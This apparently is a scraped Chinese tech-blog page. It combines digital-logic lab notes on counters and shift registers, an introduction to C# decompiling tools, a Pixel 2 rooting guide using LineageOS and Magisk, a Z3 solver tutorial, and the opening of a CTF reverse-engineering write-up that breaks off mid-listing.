将 QDQ_DQD 与 CPACP_ACPA 相连，计数脉冲从 CPBCP_BCPB 输入。QDQCQBQAQ_DQ_CQ_BQ_AQDQCQBQA输出，构成 5421 码计数器

实现 10 以内 M 进制计数器#

把 M 进制对应的输出端为 1 的输出相与后反馈到清零端，作为计数满整清零信号

实现 11 - 100 的 M 进制计数器#

由两片（个位和十位）7490 扩展成 100 进制

两芯片均连接成十进制，时钟脉冲从个位 CP0CP_0CP0 进，个位的 Q3Q_3Q3 与十位芯片的 CP0CP_0CP0 相连即可，

把 M 进制所对应的十位、个位芯片上输出为 1 的端相与后反馈到清零端，作为个位和十位的计数满整清零信号

计数型序列发生器#

循环产生指定序列。nnn 位长度的序列需要 nnn 个状态，即需要先构成 nnn 进制计数器。

计数器的计数输出需要翻译为 1 位二进制，可以使用基本逻辑门实现

0101101 序列发生器

或者将计数器输出引入译码器（74138）或数据选择器（74151）。

如果使用译码器，则把“序列输出 F 为 1 的那些状态”找出来，用译码器把这些状态“识别”出来，然后把识别结果“与非”在一起。

11000101 序列发生器

如果使用数据选择器，则数据选择器的数据输入端设置为指定的序列值

011101 序列发生器

寄存器#

寄存器用于暂时存放一组二进制代码，由触发器和控制门构成。

基本寄存器有读出、写入、复位（清零）功能，使用 D 触发器构成最简单。一个 nnn 位寄存器由 nnn 个触发器构成，能存放 nnn 位二进制数

移位寄存器在基本寄存器的基础上增加了左移/右移功能。右移指 Qin+1=Qi−1nQ^{n+1}_{i}=Q^{n}_{i-1}Qin+1=Qi−1n，左移指 Qin+1=Qi+1nQ^{n+1}_{i}=Q^{n}_{i+1}Qin+1=Qi+1n。空出来的位置由对应的串行输入取代，被挤出去的数据就没有了

代表芯片是 74194，实现了双向移位

74194 芯片电路符号

这个芯片比较难 QAQ

环形和扭环形计数器#

环形计数器的有效循环为：唯一的 1 右移，或者唯一的 0 左移

环形计数器的状态利用率低，nnn 个触发器构成的环形计数器仅有 nnn 个有效状态，有 2n−n2^n-n2n−n 个无效状态

扭环形计数器的有效循环为：从左到右，1 填满 0；从右到左，0 填满 1

扭环形计数器的状态利用率较高，nnn 个触发器构成的环形计数器有 2n2n2n 个有效状态，有 2n−2n2^n-2n2n−2n 个无效状态

扭环形计数器也可以用 74194 芯片构成。

奇数分频器#

本质计数器，按反馈预置法接线

有一个规律：使用 74194 芯片右移时，置数端

接 QD‾\overline{Q_D}QD 是模 8 计数
接 QC‾\overline{Q_C}QC 是模 6 计数
接 QB‾\overline{Q_B}QB 是模 4 计数
接 QA‾\overline{Q_A}QA 是模 2 计数
接 QDQC‾\overline{Q_DQ_C}QDQC 是模 8+62=7\frac{8+6}{2}=728+6=7 计数
接 QCQB‾\overline{Q_CQ_B}QCQB 是模 6+42=5\frac{6+4}{2}=526+4=5 计数
接 QDQB‾\overline{Q_DQ_B}QDQB 是模 8+42=6\frac{8+4}{2}=628+4=6 计数

脉冲型序列发生器#

先设置左移右移，然后设计反馈电路

10110 序列发生器

实验提示#

建议使用芯片乃至实验仪前测试一下功能。基础门电路芯片尽量对每个门（至少测你需要的门）都测一遍功能，不然会成小丑 🤡

数码管记得“共阳极”接法，即在数码管右侧、逻辑灯泡的左下角，有对“-5V”和“+5V”的接口，将它们连一起。否则你的数码管数值会乱跳，然后求助老师并收获一番质问 :(

要对自己的电路有信心。也可以先用 Multisim 仿真一下结果

普通实验的数据记录可以提前写，因为我们做的毕竟是“理论验证实验” 🤣 这样不仅便于调试还能加快撤退速度 😍

实验考试难度，就我抽到的题目（74161 实现模 10 计数器）而言，不会超过实验书的实验难度（远远没达到综合实验的难度），但一定要带实验书和一般实验的报告，因为你要看芯片的接线图的！

Footnotes#

集成触发器（如 D 触发器、JK 触发器）中，其内部的核心锁存单元绝大多数都是基于或非门（或等效结构）的 RS 锁存器。 ↩

C#逆向入门

Thu, 04 Sep 2025 22:15:33 GMT

C# 用于微软 .NET 的开发。如果我们尝试使用 IDA 对 C# 程序反汇编，很可能只能收到一个无情的 Sorry, the current file is not decompilable。C# 反编译需要专门工具。

Note

Unity 同样使用 C#。对于使用 Mono 作为脚本后端 (Scripting Backend) 的 Unity 游戏，可以使用下面介绍的 C# 反编译工具对 Assembly-CSharp.dll 反编译，即可得到源码。

dnSpy 和 ILSpy#

dnSpy 是一个调试器和 .NET 程序集编辑器。它提供了和 Visual Studio 类似的界面，并且有官方中文！

我们关心的特性有这几个：

调试 .NET Framework、.NET 和 Unity 游戏程序集，无需源代码
所有元数据都可以编辑
使用 IntelliSense 编辑 C# 或 Visual Basic 中的方法和类，无需源代码
在 C# 或 Visual Basic 中添加新的方法、类或成员

Note

所以没有用反逆向机制的 C# 或 .NET 程序是很容易被破解的……

原始的 dnSpy 已经在 2020 年归档，现在仍在活跃的是分支版本 dnSpyEx。

dnSpy 采用和 VS 类似的文件组织架构，导入的文件显示在“程序集资源管理器”中

dnSpy截图

一个文件被划分为以下部分（从上到下）：

PE
类型引用
引用
类 ({})

我们主要关注的是 {} 下的那些方法。

如果你需要全局查找字符串，请使用“搜索程序集”功能，并选择搜索“数字/字符串”。它可以在工具栏最右端、“编辑”菜单中找到，或者按快捷键 Ctrl + Shift + K。

dnSpy 的反编译器是 ILSpy，它同样拥有图形化界面。由于 ILSpy 专注于反编译工作，因此它的更新速度比较快，反编译效果也更好。我们建议将 dnSpy 和 ILSpy 配合使用。

其他反编译软件有 dotPeek（效果媲美 ILSpy，但启动过慢）、.NET Reflector（祖师爷级别，但已经不再进一步更新）等。

安卓刷机一点通

Fri, 29 Aug 2025 16:08:04 GMT

封面来自 Android Studio I/O Edition: What’s new in Android Developer tools

对于数年前的安卓用户而言，刷机并不是一个生涩的词。厂商官网上提供解锁 Bootloader 服务，应用市场里躺着 Root 获取器和刷机软件，专业论坛里有着丰富的刷机包，Root 之后，像是烧饼、葫芦侠、幸运、GG 等修改器就可以大显身手了。这些构成了我当时对于安卓刷机的印象。

那时，我在一个一键刷机软件上找了一个看的过去的刷机包，把我的乐视 1（大概？）刷上了机。当然，我当时只是一个小萌新，丝毫不知道这“一键”的后果是什么。我自信地勾选了“保留软件”，但在刷机后却发现这只是把刷机前安装的软件再安装一遍，而原有的用户数据自然是菠萝菠萝哒了 (OMO)

在现在这个时间谈刷机似乎不合时宜。各品牌都在收紧解 BL 锁的权利，乃至禁止（猜猜看是哪个品牌既有高考又有体考的）。因此，要学刷机，我们就只好折腾旧手机了，这也是更经济的选择。

Note

本文使用 Google Pixel 2 作为示例。作为 Google 亲儿子，Pixel 系列的刷机难度是比较低的，开发工具和文档也很完善。请确认你购买的机型是否可以解 OEM 锁，这是解 Bootloader 锁的前提。商家页面会写，一般标“O”的就是可以解 OEM 锁。实际上，更有可能的情况是商家已经默认帮你提前解锁好了 Bootloader 买这种破烂机器做什么他们门儿清依照财力选择，量力而行。Pixel 1 不太推荐，我在淘宝上买了两家的 Pixel 1，一家脱了我数天不发货，然后看了小肩膀的推荐去了另外一家，我买完就下架了，并且客服跟我说现在他们手里的都是功能缺陷品。当然，你也可以在咸鱼上面找一找，多半是比我买的要便宜的。

了解 Android 文件目录#

Android 系统有三种权限：第三方软件权限、用户权限和超级用户 (ROOT)，从低到高排序。如果我们想在软件层面折腾手机，就必须先获取 ROOT 权限。

Root 后会不会不安全

是的，手机 Root 后确实会带来显著的安全风险。但这并不意味着它“绝对不安全”，而是意味着安全的重心从手机厂商转移到了你自己身上。 —— DeepSeek V3

……我是用一台全新的平板折腾，并永不打算在这台设备上安装微信、支付宝、银行 APP 等敏感 APP。再就是解锁 ROOT、安装 Magisk 和 LSPosed 后，千万不可随意安装需要 ROOT 的 APP、脚本、模块等。因为你会给这些程序赋予你手机的最高权限，程序可以在完全不询问你、不显示 UI 的前提下，对你的手机进行一切权限操作。所以一般来说，只敢选择 GitHub 开源的，在 B 站、酷安、V 站等平台口碑较好的存活时间较长的软件、模块。并且建议选择 GitHub 开源代码的，直接在原版作者的 Gtihub 的 releases 中下载 APK/ZIP。安装后，设置生效范围，比如 Guise 模块只有 Tiktok 用，生效范围只选 Tiktok。在 Magisk 中的排除列表，排除所有敏感 APP，这些被排除的 APP 不参与到 ROOT、模块中。 ——关于2024年如何ROOT安卓系统并进行系统优化等基础入门 Magisk lsposed

与真正的 Linux 相比，Android 的 Root 的权限相对更“大”。当然，这种“大”是不受控的、“粗糙的”，因为 Android 设计时就不希望用户获取 Root 权限，所以一旦你获取了 Root 权限，Android 系统内就几乎没有安全机制限制权限。由于 Android 的权限控制是基于应用的，所以一个获取了 Root 权限的应用实际上也获取了和你一样的权力。

在旧版的 Android 中，系统文件目录分为：

Boot 分区：包含 Kernel（内核）和 Ramdisk（虚拟内存），和开机启动引导有关。我们折腾手机很大一部分就是在折腾 Boot 分区。如果 Boot 分区损坏，那么手机开机就会卡在第一屏（有“Powered by …”的）变砖辣
System 和 Vendor 分区：存放操作系统和系统软件，系统升级/刷机就是刷 System 的。如果 System 分区损坏，那么手机开机就会卡在第二屏又变砖啦
Data 分区：存放软件数据
Cache 分区：缓存区
Recovery 分区：包含一个简易的 Linux 系统，用于恢复和维护手机，类似于 Windows PE。

从 7.0 开始，Android 引入了新的升级方式：A/B System Updates。手机中同时存在两套 Boot 和 System，其中一套作为备份，必要时可以切换。这种更新方式的特征就是无缝升级和容灾。用户在系统升级时仍然可以操作手机，如果升级失败，备份分区的存在也不至于造成无法挽回的损失。A/B 分区下的 Recovery 集成到 Boot 分区中。

从 10.0 开始，Android 引入了动态分区技术，备份的 A/B System、Vendor 等系统分区整合到 Super 分区中，开发者无需关心 Super 分区下各子分区的大小。注意，由于原理限制，Boot 分区不使用动态分区。

A/B 分区由于多了一个备份分区，会导致系统空间占用增加，于是 Android 11 又出现了 VAB（虚拟 A/B 分区）。VAB 仅备份 Boot 分区，其他分区（包括 Super）将更新的增量内容写入快照中。更新后，如果正常启动，那么系统就会将快照内容合并到老数据，这样就完成了一次 VAB 更新。

由于 AB 和 VAB 分区中 Recovery 分区被合并到 Boot 分区中，所以刷第三方 Recovery（如 TWRP）会比较麻烦。现在更推荐一种更接近底层的刷机方法—— Fastboot。

Fastboot#

Android 系统启动前，会加载 Bootloader（引导加载器，相当于 BIOS/UEFI），初始化硬件设备并引导硬件设备。在引导后期，我们可以通过快捷键进入 Fastboot 模式。Fastboot 是一种引导加载程序模式，可以在该模式下刷写设备。

Note

我们所说的 BL 锁是一个系统分区签名检查机制。运行时，Bootloader 会检查设备状态，如果是 Locked，则检查签名，匹配成功后正常引导系统，匹配不成功则拒绝引导；如果是 Unlocked，则不检查签名。第三方系统镜像基本没有签名，因此 Bootloader 无法引导这些镜像。当然，理论上讲，如果有正确的签名工具对分区签名，也可以过一些 BL 锁，不过可能都是华强北山寨机了。如何查看 BL 有没有解锁？一个是查看手机正常启动时有没有提示，例如 Google Pixel 在 BL 解锁后会先显示一个警告，然后进入开机画面时会有一个开锁 🔓 图标。另一个是进入 Fastboot 模式查看 Device State 是否为 Unlocked

当您开启 Android 设备时，系统会对操作系统进行检查，以确保它可以安全使用。可以安全使用意味着代码均来自可信来源，而且没有遭到更改或损坏。
如果您的操作系统可能存在问题，系统会向您发出一条警告消息，该消息会将您转至此页面 (g.co/ABH)。
——了解关于操作系统安全的警告

Fastboot 独立于 Android 文件目录之外。如果刷 Recovery 刷砖了，可以试试能否用 Fastboot 救回来。有时候情况更加危急，比如刷机刷坏了基带、字库等，连 Fastboot 都进不去，那么就只能通过更加底层的刷机模式—— EDL 串口线刷模式来救了。在高通平台，它的别名更加知名：9008 模式。

用 fastboot devices 检查是否进入 fastboot 模式。如果没有输出，请先查看是否安装驱动。

检查驱动

如果 fastboot 找不到设备，请查看设备管理器是否有显示感叹号 ⚠ 的设备（我这里显示 Android+）。如果有，右键 -> 更新驱动程序 -> 浏览我的计算机以查找驱动程序 -> 让我从计算机上的可用驱动程序列表选取。如果弹出的选项直接有 “ADB 设备”，则选择。否则返回，我们需要手动指向 Google USB 驱动。

如果你在 Android Studio 中勾选安装了 Google USB Driver，那么驱动在 <Android SDK Location>\extras\google\usb_driver。在“浏览我的计算机以查找驱动程序”填入以上位置搜索驱动程序。

Android Studio 是唯一的官方驱动获取途径。文档提供的独立下载链接不知为何返回的是 404。

Tip

在设备关机时，可使用以下组合键进入 fastboot 模式：同时按住音量“-”键和电源键在设备开机时，可以通过 adb reboot bootloader 进入 fastboot 模式。

刷 LineageOS 22#

Warning

如果是做逆向的话不太建议刷，因为 Android 版本太高了，一些经典的工具没有维护是不适配的。

LineageOS 是一个非常长寿而著名的类原生安卓发行版。正如它的宣传语：“为您的设备注入新的活力，无论是旧设备还是新设备。”他们为许多老旧手机提供了远超官方维护期限的系统更新服务，例如我手里的 Google Pixel 2，当它的 Google 官方最高版本停留在 2020 年 Android 11 时，LineageOS 维护至今，已经适配到了 Android 15。

LineageOS 是开源软件，且默认不包含 Google 服务，因此吸引了其他开发者以此作为基底，开发自己的 Android 发行版。

Pixel 2 在 LineageOS 官网有良好的安装指引：关于 walleye 的信息。可遵循该指引安装 LineageOS。

LineageOS 是一个纯净的系统，自身没有提供 Root 权限，所以要获取 Root 权限，我们还需要安装其他的东西。

Note

根据 LineageOS 文档和 XDA 论坛的说法，如果想要再刷其他的自定义系统，建议先刷回 Google 的出厂镜像，然后再按照一般方法刷入第三方镜像。

Magisk#

Magisk 在刷机界大名鼎鼎，适配性比较好。本次我们选择的是 topjohnwu/Magisk，其他分支版本请自己探索。

Note

Magisk 不是唯一选择。你还有 KernelUS。 Apatch、SukiSU 等由 KernelUS 派生而来，同样是另外的选择。注意 LineageOS 22 或者低 Linux 内核版本（老机型）可能无法安装 KernelUS 系。Magisk 系是更稳妥的选择。比如，Google 从 Pixel 6 才开始引入 GKI 内核，而 KernelSU 就是基于 GKI 内核的。如果是非 GKI 内核，那么需要自行修改 Adnroid 源码并编译。

Warning

仅从官方 GitHub 页面下载 Magisk。

使用 Magisk 前，你需要获取当前系统的原版 boot.img/init_boot.img 文件。LineageOS 在下载页面提供了 boot.img，如果没有专门提供 boot.img 下载，则需要从刷机包中提取。

将提取好的 boot.img 文件传输到手机上，Magisk 首页点击“安装”按钮，选择“选择并修补一个文件”，然后选择你刚刚传输的 img 文件，等待修补完成。

将修补后的文件传回电脑，使用 fastboot 刷入修补镜像。重启，就可以得到 Root 权限了。

你可能会用到的 ADB/Fastboot 命令：

Terminal window

1
adb push <src_PC> <dest_Phone>

Terminal window

1
adb pull <src_Phone> <dest_PC>

Terminal window

1
adb reboot fastboot

Terminal window

1
fastboot flash boot </path/to/magisk_patched_[random_strings].img>

Terminal window

1
fastboot reboot

之后除非重装/升级系统，否则可以直接使用 Magisk 应用升级 Magisk 修补镜像。

Z3-Solver教程

Tue, 12 Aug 2025 18:05:58 GMT

算法算法，离不开各种公式。我们坚信：只要解出这些公式，就可以得到 flag。

但计算机中的“公式”往往不会是简单的 x+y=2x+y=2x+y=2 之类，而会是掺杂了算术、位向量、数据结构等。我们（判断能否）解出这些公式的过程，就是在判断这些公式的可满足性 (Satisfiability) 如何。

这里我们就提出了可满足性模理论 (Satisfiability Modulo Theories, SMT)：

给定一组理论 (Theory)，根据给定逻辑，求在该组理论解释下公式的可满足性
现有理论通常针对一阶理论，即公理都是一阶的

理论 Theory

从逻辑学角度来看，a+b<ca+b<ca+b<c 或者 f(b)>cf(b)>cf(b)>c 都是逻辑系统中不包含的符号，计算机需要知道他们的意思，这就引出了理论的概念：

理论用于对这类符号谓词/函数（比如 >>>，f(⋅)f(⋅)f(⋅)，+++，…）赋予含义;
理论包含一组公理和这组公理能推导出的结论;

因此，如果想解决 SMT 问题，求解器就需要内置基本的理论。

公理都是一阶的

首先，Z3 内置的理论都是在一阶逻辑 (FOL, first-order logic) 下定义的，需要推的公理只使用这些一阶逻辑理论定义。一阶逻辑的显著特点是只对对象变量（如 xxx，yyy 等）进行量化（全称量化 ∀ 和存在量化 ∃），没有对函数或谓词本身做量化，它们在这些理论中应当是固定的。一阶逻辑相对好求，因为对象集合离散且数量级较小，可以用 SMT 技术穷举。二阶逻辑量化的是谓词/函数本身，这些谓词和函数在现有理论中是不固定的。二阶逻辑难求，因为它需要遍历所有可能的谓词/函数，数量级非常大，Z3 不支持这一类问题。

换句话说，一阶逻辑相当于数学考试中的“求符合条件的 xxx 的值”，二阶逻辑相当于“求符合条件的函数 f(x)f{(x)}f(x)”

将程序算法当成一个 SMT 问题，我们便可以从正向破解它，并且相对于逆向的难度较小。Z3 就是一个高效的 SMT 求解器，具有专门用于解决一阶逻辑理论的算法。

Z3Py 入门#

要使用 Python 的 Z3，请通过 pip 安装：

Terminal window

1
pip install z3-solver

接下来我们解一个简单的二元一次方程：

1
from z3 import *
2

3
x= Int('x')
4
y= Int('y')
5
solve(x > 2, y < 10, x + 2 * y == 7)

得到输出：

Terminal window

1
[y = 0, x = 7]

函数 Int('x') 用于在 Z3 中创建一个名为 x 的整数变量。solve 函数求解一个约束系统 (System of Constraints)。上面的例子使用了两个变量 x 和 y，以及三个约束 (Constraints)：

x 必须大于 2
y 必须小于 10
当 x 加上 y 的两倍时，它必须等于 7

约束就相当于考试中的条件和公式。

Z3Py 和 Python 一样使用 = 进行赋值，使用运算符 <、<=、>、>=、== 和 != 进行比较。

接下来，我们将介绍 Z3 Solver 的一些特性。

表达式属性#

1
x = Int('x')
2
y = Int('y')
3
n = x + y >= 3
4
print ("num args: ", n.num_args())
5
print ("children: ", n.children())
6
print ("1st child:", n.arg(0))
7
print ("2nd child:", n.arg(1))
8
print ("operator: ", n.decl())
9
print ("op name:  ", n.decl().name())

输出：

Terminal window

1
num args:  2
2
children:  [x + y, 3]
3
1st child: x + y
4
2nd child: 3
5
operator:  >=
6
op name:   >=

n 注册了一个表达式类，通过类 n 提供的方法，我们可以得到表达式的参数、子式（左右两边的式子）和比较运算符信息。

基本数学运算#

Z3 提供所有基本的数学运算。Z3Py 使用与 Python 语言相同的运算符优先级。¹

Z3 内置的整数算术是 Presburger 算术，只完备支持加减法、乘常数和比较运算。

Z3基本数学运算支持与完备性速查表#

Note

本表由 GPT-5 生成本表基于 Z3Py 与 SMT-LIB2 标准，标明完备性（✅ 完备 / ⚠️ 部分完备 / ❌ 不完备）。

✅ 完备：Z3 在相应理论（如 LIA/LRA）下可保证可判定且一定返回 SAT/UNSAT。
⚠️ 部分完备：Z3 尝试求解，但可能返回 unknown。
❌ 不完备/不支持：Z3 无内置语义，需人工编码或近似化。

参考

通用 (LIA / LRA)

Z3Py	SMT-LIB2	含义	完备性
`+`	`+`	加法	✅
`-`	`-`	减法 / 取负	✅
`*`	`*`	乘法（线性，有一个是常量）	✅
`/`	`/`	实数除法	✅
`<`, `<=`	`<`, `<=`	小于 / 小于等于	✅
`>`, `>=`	`>`, `>=`	大于 / 大于等于	✅
`=`	`=`	等式	✅
`Distinct(a,b,c)`	`distinct`	两两不等	✅

整数专用 (LIA / LIA+mod)

Z3Py	SMT-LIB2	含义	完备性
`IntDiv(x, y)`	`div`	整数除法（向零取整）	✅
`x % y` / `Mod(x, y)`	`mod`	取模（符号与被除数相同）	✅
`Abs(x)`	`abs`	绝对值	✅
`ToReal(x)`	`to_real`	Int → Real 转换	✅
`ToInt(x)`	`to_int`	Real → Int 转换（向零取整）	✅
`is_int(x)`	`is_int`	检查实数是否是整数值	✅

常量与类型装换

Z3Py	SMT-LIB2	含义
`IntVal(n)`	numeral	整数常量
`RealVal(r)`	numeral	实数常量

不属于基本运算的运算（非线性 / 超越）

运算	例子	完备性	备注
非线性乘法	`x*y`	⚠️	两个算子都属于变量
幂运算（常数指数）	`x**2`	⚠️	属于非线性算术，可求但不完备
幂运算（变量指数）	`x**y`	❌	一般不可判定
平方根 / 开方	`sqrt(x)`	⚠️/❌	需编码为幂运算
三角函数	`sin(x)`	❌	不支持内置语义
对数 / 指数函数	`log(x)` / `exp(x)`	❌	不支持内置语义
其他超越函数	—	❌	不支持

布尔逻辑运算#

Z3支持布尔运算符：与 (And)、或 (Or)、非 (Not)、蕴含/充分条件 (Implies)、如果 (If)。双蕴含（即充要条件）使用等号 (==)表示。

常/变量表示#

一阶逻辑公式由项（变量或常量）与扩展布尔结构组成。变量在 Z3 中可表示为：

1
x = Int(name = 'x') # x is an integer
2

3
y = Real(name = 'y') # y is a real number
4

5
z = BitVec(name = 'z', bv = 32) # z is a 32-bit vector
6

7
p = Bool(name = 'p') # p is a bool

Tip

这里可以忽略掉 name 和 bv，直接写参数，如 BitVec('z', 32)

在 Z3 中，Int 类型使用的是数学上的“整数”概念，这和我们在计算机中有范围的 int 类型不一样。如果需要指定类型可以表示的数字大小，请使用 BitVec，如 BitVec('x', 32) 表示一个 32 位位向量，就相当于我们在计算机中使用的 int。

我们建议，如果想要声明“整数”变量，请使用 Int 而不是 BitVec 以避免截断导致的精度问题。

整型与实数类型变量之间可以互相进行转换：

1
ToReal(x)
2

3
ToInt(y)

Z3 也支持序列的表示：

1
flag = [BitVec('x%d' % i, 8) for i in range(32)] # a char array, like `char flag[32]` in C
2

3
flag = [Int('%d' % i) for i in range(32)] # an 'integer' array
4

5
flag = [BitVec('x%d' % i, 32) for i in range(32)] # an int array, like `int flag[32]` in C

Tip

BitVec('x%d' % i, 8) 应该这样理解：%d 对应循环计数器 i，本句实际上在创建从 x0 到 x31 的数个 8 位符号位向量。这种方式声明的序列，在添加约束时应该调用 flag[i]，默认输出 x<i> = ...

对于常量，除了 Python 原有的数据类型外，也可以用 Z3 自己的数据类型表示：

1
>>> IntVal(val = 114514) # integer
2
114514
3

4
>>> RealVal(val = 1919810) # real number
5
1919810
6

7
>>> BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断
8
2680619074
9

10
>>> BitVecVal(val = 1145141919810, bv = 64) # bit vector
11
1145141919810

Z3 中的布尔常量用 True 和 False 表示。

求解器#

如果只有公式（约束）较少，那我们调用 solve 方法就好，但有时我们会有大量约束，单行命令易读性就很差了。此时需要创建一个求解器类 Solver，一行一行地将约束添加进去。所以，求解器是一群约束的集合。

1
s = Solver()

现在我们创建了一个求解器实例 s，需要用 add 方法向这个求解器添加约束：

1
s.add(x * 5 == 10)
2
s.add(y * 1/2 == x)

添加约束之后，我们可以调用 check 方法检查约束是否可满足 (satisfiable)。如果返回 sat 即为“可以满足”，unsat 即为“不可满足”。

如果约束可以满足，则我们可以调用 model 方法得到一组解。

如果需要输出结果（包括满足性情况），注意使用 print 函数。

Note

之前示例中使用的 solve 方法是通过 Z3 求解器 API 实现的。当你调用 solve 时，Z3 会帮你创建一个临时的求解器，将约束传入，检查是否满足并输出结果。可以将 solve 方法简单理解为 check、model 和 print 的一次性封装。

一个求解器示例：

1
from z3 import *
2

3
flag = [Int('s[%d]' % i) for i in range(6)]
4

5
s = Solver()
6

7
# a1[2] - a1[3] == 0x84A236FFLL
8
#     && a1[3] + a1[4] == 0xFA6CB703LL
9
#     && a1[2] - a1[4] == 0x42D731A8
10
#     && *a1 == 0xDF48EF7E
11
#     && a1[5] == 0x84F30420
12
#     && a1[1] == 0x20CAACF4
13

14
s.add(flag[2] - flag[3] == 0x84A236FF)
15
s.add(flag[3] + flag[4] == 0xFA6CB703)
16
s.add(flag[2] - flag[4] == 0x42D731A8)
17
s.add(flag[0] == 0xDF48EF7E)
18
s.add(flag[5] == 0x84F30420)
19
s.add(flag[1] == 0x20CAACF4)
20

21
if s.check() == sat:
22
    m = s.model()
23
    print(m)
24
else:
25
    print("No solution")

展开收起

运行后输出：

Terminal window

1
[s[4] = 2652626477,
2
 s[2] = 3774025685,
3
 s[0] = 3746099070,
4
 s[1] = 550153460,
5
 s[5] = 2230518816,
6
 s[3] = 1548802262]

Footnotes#

Python 运算符 ↩

出题人的“恶意”

Sun, 27 Jul 2025 11:06:07 GMT

在做 BUUCTF 上的 [2019红帽杯]easyRE 时，出题人将我引导进了一篇看雪的文章：[原创]看雪CTF从入门到存活（六）主动防御。由于时过境迁，评论区已经给出了正确的 flag，但在 2019 年的评论中，我们依然能体会到当时参赛者们满头问号的感受。这样一篇高视角的理论文章，到底对解题有多大作用呢？

实际上，出题人就是以该文章的理念设计了这么一道题目。

什么是“主动防御”#

在初期我们做的 CTF 题目中，出题人都是将 flag 获取逻辑放在一个函数中，然后设置障碍，我们称为“被动防御”。虽然这些障碍可能难以跨越，但参赛者心中都有一条明确的思路：只要越过这些障碍，就能得到 flag。

与之相对的“主动防御”，是指将参赛者引导到一条无法获取正确 flag 的路径。这条路径同样有一些障碍，参赛者往往会错判预期，认为只需要跨过这些障碍，就可以得到 flag，结果却折服于出题人的小巧思。

主动防御基于过程激励理论，该理论又有三大理论：期望理论、公平理论和强化理论。总结起来就是让参赛者认为“此路可通”并不断强化这种信念。

这本身需要出题人有一定水平，可以合理安排真假线索。

示例#

我们先从头分析开头的题目。下面的伪代码已经经过我的修改：

1
__int64 sub_4009C6()
2
{
3
  __int64 result; // rax
4
  int i; // [rsp+Ch] [rbp-114h]
5
  __int64 v2; // [rsp+10h] [rbp-110h]
6
  __int64 v3; // [rsp+18h] [rbp-108h]
7
  __int64 v4; // [rsp+20h] [rbp-100h]
8
  __int64 v5; // [rsp+28h] [rbp-F8h]
9
  __int64 v6; // [rsp+30h] [rbp-F0h]
10
  __int64 v7; // [rsp+38h] [rbp-E8h]
11
  __int64 v8; // [rsp+40h] [rbp-E0h]
12
  __int64 v9; // [rsp+48h] [rbp-D8h]
13
  __int64 v10; // [rsp+50h] [rbp-D0h]
14
  __int64 v11; // [rsp+58h] [rbp-C8h]
15
  _BYTE key[13]; // [rsp+60h] [rbp-C0h] BYREF
16
  _BYTE key1[4]; // [rsp+6Dh] [rbp-B3h] BYREF
17
  _BYTE key2[19]; // [rsp+71h] [rbp-AFh] BYREF
18
  _QWORD buf[5]; // [rsp+90h] [rbp-90h] BYREF
19
  _QWORD buf_1[8]; // [rsp+C0h] [rbp-60h] BYREF
20
  char v17; // [rsp+100h] [rbp-20h]
21
  unsigned __int64 v18; // [rsp+108h] [rbp-18h]
22

23
  v18 = __readfsqword(0x28u);
24
  qmemcpy(key, "Iodl>Qnb(ocy", 12);
25
  key[12] = 127;
26
  qmemcpy(key1, "y.i", 3);
27
  key1[3] = 127;
28
  qmemcpy(key2, "d`3w}wek9{iy=~yL@EC", sizeof(key2));
29
  memset(buf, 0, 37);
30
  bufRead(0, buf, 37);
31
  BYTE4(buf[4]) = 0;
32
  if ( bufLength(buf) == 36 )
33
  {
34
    for ( i = 0; i < bufLength(buf); ++i )
35
    {
36
      if ( (*(buf + i) ^ i) != key[i] )         // key = key + key1 + key2
37
      {
38
        result = 4294967294LL;
39
        goto LABEL_13;
40
      }
41
    }
42
    puts("continue!");
43
    memset(buf_1, 0, sizeof(buf_1));
44
    v17 = 0;
45
    bufRead(0, buf_1, 64);
46
    HIBYTE(buf_1[4]) = 0;
47
    if ( bufLength(buf_1) == 39 )
48
    {
49
      v2 = base64Encode(buf_1);
50
      v3 = base64Encode(v2);
51
      v4 = base64Encode(v3);
52
      v5 = base64Encode(v4);
53
      v6 = base64Encode(v5);
54
      v7 = base64Encode(v6);
55
      v8 = base64Encode(v7);
56
      v9 = base64Encode(v8);
57
      v10 = base64Encode(v9);
58
      v11 = base64Encode(v10);
59
      if ( !flagCmp(v11, fakeFlag) )
60
      /*
61
      fakeFlag = "Vm0wd2VHUXhTWGhpUm1SWVYwZDRWVll3Wkc5WFJsbDNXa1pPVlUxV2NIcFhhMk0xVmpKS1NHVkdXbFpOYmtKVVZtcEtTMUl5VGtsaVJtUk9ZV3hhZVZadGVHdFRNVTVYVW01T2FGSnRVbGhhVjNoaFZWWmtWMXBFVWxSTmJFcElWbTAxVDJGV1NuTlhia0pXWWxob1dGUnJXbXRXTVZaeVdrWm9hVlpyV1hwV1IzaGhXVmRHVjFOdVVsWmlhMHBZV1ZSR1lWZEdVbFZTYlhSWFRWWndNRlZ0TVc5VWJGcFZWbXR3VjJKSFVYZFdha1pXWlZaT2NtRkhhRk5pVjJoWVYxZDBhMVV3TlhOalJscFlZbGhTY1ZsclduZGxiR1J5VmxSR1ZXSlZjRWhaTUZKaFZqSktWVkZZYUZkV1JWcFlWV3BHYTFkWFRrZFRiV3hvVFVoQ1dsWXhaRFJpTWtsM1RVaG9hbEpYYUhOVmJUVkRZekZhY1ZKcmRGTk5Wa3A2VjJ0U1ExWlhTbFpqUldoYVRVWndkbFpxUmtwbGJVWklZVVprYUdFeGNHOVhXSEJIWkRGS2RGSnJhR2hTYXpWdlZGVm9RMlJzV25STldHUlZUVlpXTlZadE5VOVdiVXBJVld4c1dtSllUWGhXTUZwell6RmFkRkpzVWxOaVNFSktWa1phVTFFeFduUlRhMlJxVWxad1YxWnRlRXRXTVZaSFVsUnNVVlZVTURrPQ=="
62
      */
63
      {
64
        puts("You found me!!!");
65
        puts("bye bye~");
66
      }
67
      result = 0;
68
    }
69
    else
70
    {
71
      result = 4294967293LL;
72
    }
73
  }
74
  else
75
  {
76
    result = 0xFFFFFFFFLL;
77
  }
78
LABEL_13:
79
  if ( __readfsqword(0x28u) != v18 )
80
    StackErrorexit();
81
  return result;
82
}

展开收起

对 fakeFlag 进行十次 Base64 解码会得到我们所说的网址。但不是我们想要的 flag。

然而，在 fakeFlag 的下方，还有一串没有被使用的常量：

1
.data:00000000006CC0A0     ; char byte_6CC0A0[3]
2
.data:00000000006CC0A0     byte_6CC0A0     db 40h                  ; DATA XREF: sub_400D35+95↑r
3
.data:00000000006CC0A0                                             ; sub_400D35+C1↑r
4
.data:00000000006CC0A1                     db  35h ; 5
5
.data:00000000006CC0A2                     db  20h
6
.data:00000000006CC0A3     byte_6CC0A3     db 56h                  ; DATA XREF: sub_400D35+A6↑r
7
.data:00000000006CC0A4                     db  5Dh ; ]
8
.data:00000000006CC0A5                     db  18h
9
